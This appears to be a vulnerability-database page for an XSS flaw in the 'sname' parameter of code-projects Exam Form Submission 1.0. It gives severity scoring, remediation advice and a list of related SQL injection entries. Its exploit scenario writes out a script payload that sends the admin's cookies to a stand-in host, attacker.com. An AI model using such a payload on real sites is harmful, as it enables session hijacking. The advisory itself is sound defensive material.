Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While the CVSS v3.1 base score of 4.3 appears moderate, the actual risk is elevated by several exploitation signals. The attack vector is Network (AV:N) with Low complexity (AC:L) and requires no privileges (PR:N), meaning any internet user can attempt the attack. User interaction (UI:R) is required for impact, which constrains the threat slightly. The CVSS vector shows no confidentiality impact (C:N) but does confirm integrity impact (I:L), meaning successful exploitation compromises the integrity of the admin interface. The Exploit Code Maturity (E:P) indicates proof-of-concept code is publicly available on GitHub, significantly increasing real-world exploitation probability. The Remediation Level (RL:X) indicates no official patch is currently available from the vendor, leaving affected systems vulnerable. The Reliability (RC:R) reflects reasonable confidence in the vulnerability report via VulDB. This combination—public POC, unpatched status, trivial attack complexity, and unauthenticated access—makes this a higher practical risk than the CVSS score alone suggests, particularly in environments where administrative accounts are exposed to user-controlled content or where the admin interface is internet-facing. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL containing JavaScript payload in the 'sname' parameter (e.g., /admin/update_s1.php?sname=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and tricks an administrator into clicking the link via phishing email or forum post. Because no authentication is required (PR:N) and attack complexity is low (AC:L), the attacker bypasses initial security barriers. When the administrator clicks the link and the page renders, the unescaped payload executes in their browser context, exfiltrating session cookies or injecting a password-change form to harvest credentials. Given that a public POC exists on GitHub, automated scanners and malicious actors are likely already testing this vector against exposed instances. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 22, 2026
A Stored Cross-Site Scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0, affecting the /admin/update_s1.php file where the 'sname' parameter is not properly sanitized. An unauthenticated attacker can remotely inject malicious JavaScript by manipulating this parameter, which will execute in the browsers of administrators or other users who view the affected page. A public proof-of-concept exploit is available on GitHub, and the vulnerability has an EPSS score indicating probable exploitation likelihood.
RemediationAI
Immediately upgrade to a patched version of Exam Form Submission if code-projects releases one; check https://code-projects.org/ and https://vuldb.com/?id.352384 for updates. If no patch is available, implement input validation by rejecting or encoding the 'sname' parameter using HTML entity encoding (e.g., htmlspecialchars() in PHP with ENT_QUOTES flag) before rendering it in HTML context. Additionally, apply output encoding to all user-supplied variables in the /admin/update_s1.php response, implement a Content Security Policy (CSP) header to restrict inline script execution, and restrict access to the /admin/ directory to trusted IP ranges via firewall or web server configuration. Consider implementing CSRF tokens and session-based protections to mitigate secondary attack vectors. Regular security audits of the application codebase are strongly recommended.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a Reflected or Stored Cross-Site Scripting (CWE-79) flaw in a PHP-based application (cpe:2.3:a:code-projects:exam_form_submission:*:*:*:*:*:*:*:*). The root cause is inadequate input validation and output encoding of user-supplied data in the 'sname' parameter passed to /admin/update_s1.php. The PHP application fails to apply proper context-aware output encoding (HTML entity encoding, JavaScript escaping, or similar) before rendering the sname value in HTML responses. This allows attackers to inject arbitrary HTML and JavaScript payloads that execute with the privileges of the authenticated user viewing the page, potentially leading to session hijacking, credential theft, or administrative account compromise.
Know when Exam Form Submission gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
5DescriptionCVE.org
A vulnerability was detected in code-projects Exam Form Submission 1.0. This impacts an unknown function of the file /admin/update_s1.php. Performing a manipulation of the argument sname results in cross site scripting. The attack may be initiated remotely. The exploit is now public and may be used.
Executive ViewAI
Organizations using A vulnerability should be aware of moderate risk from CVE-2026-4557, a cross-site scripting vulnerability rated CVSS 4.3. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Exam Form Submission
View allUnrestricted file upload in code-projects Exam Form Submission 1.0 allows remote unauthenticated attackers to upload arb
SQL injection in code-projects Exam Form Submission 1.0 exposes the underlying database through the `credits` parameter
SQL injection in code-projects Exam Form Submission 1.0 exposes the backend database to unauthorized read and write oper
SQL injection in code-projects Exam Form Submission 1.0 exposes the `/admin/delete_s3.php` endpoint to remote manipulati
SQL injection in code-projects Exam Form Submission 1.0 exposes the /admin/delete_s2.php endpoint to remote exploitation
SQL injection in code-projects Exam Form Submission 1.0 exposes the /admin/delete_s1.php endpoint to remote database man
SQL injection in code-projects Exam Form Submission 1.0 allows remote unauthenticated attackers to extract or modify dat
SQL injection in code-projects Exam Form Submission 1.0 allows remote attackers to manipulate the 'credits' parameter in
SQL injection in code-projects Exam Form Submission 1.0 via the 'credits' parameter of /admin/update_s3.php enables remo
SQL injection in code-projects Exam Form Submission 1.0 exposes the application's database to remote manipulation throug
SQL injection in code-projects Exam Form Submission 1.0 allows remote attackers to manipulate the backend database via t
SQL injection in code-projects Exam Form Submission 1.0 exposes the unauthenticated /register.php registration endpoint
EUVD-2026-14331
GHSA-v6pg-hpm6-mh6m
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB